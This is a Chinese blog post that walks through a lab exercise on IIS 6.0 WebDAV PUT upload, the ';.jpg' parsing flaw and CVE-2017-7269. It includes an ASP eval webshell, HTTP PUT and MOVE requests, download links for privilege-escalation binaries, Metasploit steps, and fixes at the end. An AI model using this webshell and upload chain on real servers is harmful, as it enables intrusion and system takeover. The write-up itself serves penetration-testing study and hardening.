banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

IIS 6.0漏洞復現

是的炒冷飯

0x01 事情起因#

整理遺漏靶場,靶場本身很簡單,拋磚引玉,主要是想分享幾篇好文章

0x02 漏洞介紹#

IIS 6.0 解析漏洞介紹#

IIS 是 Internet Information Services 的縮寫,意為互聯網信息服務,是由微軟公司提供的基於運行 Microsoft Windows 的互聯網基本服務。IIS 目前只適用於 Windows 系統,不適用於其他操作系統

IIS6解析漏洞基於文件名,該版本 默認會將*.asp;.jpg此種格式的文件名,當成Asp解析,原理是伺服器默認不解析;号及其後面的內容,相當於截斷

另外,IIS6.x 除了會將擴展名為.asp 的文件解析為 asp 之外,還默認會將擴展名為.asa,.cdx,.cer 解析為 asp,
從網站屬性 -> 主目錄 -> 配置 可以看出,他們都是調用了 asp.dll 進行的解析。

IIS PUT 漏洞介紹#

IIS 6.0 PUT 上傳漏洞。產生原因是 IIS Server 在 Web 服務擴展中開啟了 WebDAV。並且管理員在配置權限時,沒有遵循最小原則。給 IIS 配置了可以寫入的權限,包括網站根目錄。

也叫做 IIS 寫權限漏洞

0x03 靶場復現#

題目描述#

靶場地址

背景介紹:

某日,安全工程師 "墨者" 對一內網進行授權掃描,在掃描過程中,發現了一台 Windows2003 的伺服器,開啟了 web 服務,業主單位員工堅稱是一個調試伺服器,只安裝了 IIS6.0,無任何代碼程序,不可能會有安全問題。"墨者" 一聽就來勁了,拿起工具,手起刀落~~~~~~

實訓目標

  • 了解 IIS WebDAV 安全配置
  • 了解 HTTP 標準方法外的其他一些方法
  • 掌握 HTTP PUT 的方法測試利用
  • 了解 IIS6 的畸形解析漏洞及利用測試方法

解題方向

通過上傳程序腳本,獲取 WEB 的權限;
PS:不要過於依賴現成工具!

題目打開長這樣:

image

思路探尋#

先看下iis版本,可以用瀏覽器插件Wappalyzer,也可以使用OPTIONS請求方法查看:

HTTP1.0 定義了三種請求方法: GET、POST、HEAD
HTTP1.1 新增了五種請求方法:OPTIONS、PUT、DELETE、TRACE 、CONNECT

curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I

image

可以看到版本是6.0

burp 手操#

我們先來使用手動操作一遍,不建議成為工具黨

GET修改為OPTIONS查看可執行命令:

image

然後我們PUT一個ASP一句話上去,文件名隨便寫比如2.txt

<%eval request("soapffz")%>

image

返回201 Created,創建成功

PS:

這裡注意一個問題,不要只把GET改為PUT 2.txt,後面還有一個斜杠/記得刪掉

我開始也搞了半天,看解析思路評論區很多老哥說怎麼試都不行最後精簡為自己手寫請求語句和HOST才成功

我看了下都是沒有刪除這個斜杠,所以做題一定要細心啊

然後就可以使用MOVE命令把2.txt改為2.asp;.jpg讓解析漏洞解析asp

核心語句如下;

MOVE /2.txt HTTP/1.1
Host: ip:端口
Destination: /2.asp;.jpg
<%eval request("soapffz")%>

image

會返回401 Unauthorized,這個不影響,直接上蟻劍連接:

image

成功拿到flag

工具操作#

IIS Put Scaner v1.3,來自nosec,源網頁已經找不到了,可以簡單探測:

image

可以看到PUTYES,所以具有寫權限,還有一款掃描工具DotNetScan:

image

上傳asp木馬的話使用著名工具桂林老兵的iiswrite

軟件的標題為:對IIS寫權限的利用 / 自定義數據包提交 - 桂林老兵作品(目前下載默認被火絨查殺)

知道了有寫權限後,我們來上傳把asp後綴改為txt的木馬 (只能上傳txt文件)

<%eval request("soapffz")%>

返回201說明上傳成功,但是此時木馬不能被解析,再用工具的MOVE或者COPY方法把後綴改為asp

但是這個工具有一個缺陷,就是默認只能測試80端口的站點,如果站點不在80端口無法使用:

image

0x04 嘗試拿下伺服器#

看看我是啥權限#

靶場做完了,不繼續搞一下不就浪費了我 4 個靶場幣嗎?

看下權限:

image

whoami都不能執行,權限很低啊,根據參考文章:拿到 webshell 後虛擬終端拒絕訪問

操作如下;

下載 cmd.exe 和 iis6.0.exe

https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe

然後上傳到網站根目錄,這裡上傳的時候蟻劍還報了500 Internal Server錯誤

image

用菜刀上傳成功:

image

設置終端為cmd.exesetp c:\inetpub\wwwroot\test.exe

然後就可以用iis6.exe加上命令執行命令了:

image

執行了下whoami已經是system權限了,那也就沒機會練習提權了

附上secwikiWindows提權GitHub 項目

CVE-2017-7269#

這個exp的利用不是那麼一帆風順的,參考文章:IIS6_WebDAV 遠程代碼執行漏洞 (CVE-2017-7269) 的正確打開方式

msf自帶一個利用模塊exploit/windows/iis/iis_webdav_scstoragepathfromurl

但是實測失敗:

image

利用失敗的原因#

失敗的原因有以下幾種:

端口和域名綁定問題#

實際環境中,iis 綁定的域名和端口可能不是默認的,比如:

默認綁定:

image

非默認綁定:

image

If 頭信息中的兩個 url 是要求和站點綁定相匹配的,否則只能收到一個 502。這裡所說的相匹配指的是 if 頭中 url 的 port 必須與站點綁定的端口相匹配,而 if 頭中的域名只需要和 host 頭保持一致就好

在我這種實戰場景中如果遇到這種情況一般就沒辦法了,因為伺服器不是自己的進不去設置

物理路徑#

POC 中 If 頭中的第一個 URL 會被解析成物理路徑,默認情況下是 C:\Inetpub\wwwroot\,也就是 19,在覆蓋緩衝區的時候填充的字符長度要根據物理路徑的長度來決定,且物理路徑長度 + 填充字符的個數 = 114。POC 中的是按照默認的物理路徑(19 位)來計算填充字符的長度的,當物理路徑的長度不為 19 位的時候就會收到一個 500。(這裡物理路徑長度計算方法要加上最後的 \)

爆破物理路徑長度並檢測漏洞工具IIS6_WebDAV_Scanner,但是這個靶場檢測不出來:

image

我這個靶場就是默認的物理路徑,也就是長度 19,所以不是物理路徑的問題

試下網上的exp,下載exp並放入msfexploit目錄:

mv cve-2017-7269.rb cve_2017_7269.rb
(-改為_否則無法識別)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(如果找不到腳本,可嘗試執行reload_all,並再次重啟msf)

0x05 漏洞修復建議#

IIS 遠程漏洞主要包括緩衝區溢出、認證繞過、拒絕服務、代碼執行和信息泄露漏洞,本地漏洞主要分布在信息泄露和權限提升漏洞分類,大部分漏洞利用難度較大,但是一旦成功被攻擊者利用,影響的不僅僅只是 IIS 伺服器,甚至可能是運行 IIS 的 Windows 主機。如果用戶主機被利用,那麼攻擊者可以將此台主機當作肉雞攻擊內網中的其他主機、伺服器或者網絡設備等,後果不堪設想

由於微軟並不認為 IIS6.0 這是一個漏洞,也沒有推出 IIS 6.0 的補丁,因此漏洞需要自己修復。

  • 限制上傳目錄執行權限,不允許執行腳本 (圖片來自參考文章 1)

image

  • 不允許新建目錄

  • 上傳的文件需經過重命名 (時間戳 + 隨機數 +.jpg 等)

參考文章:

本文完。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。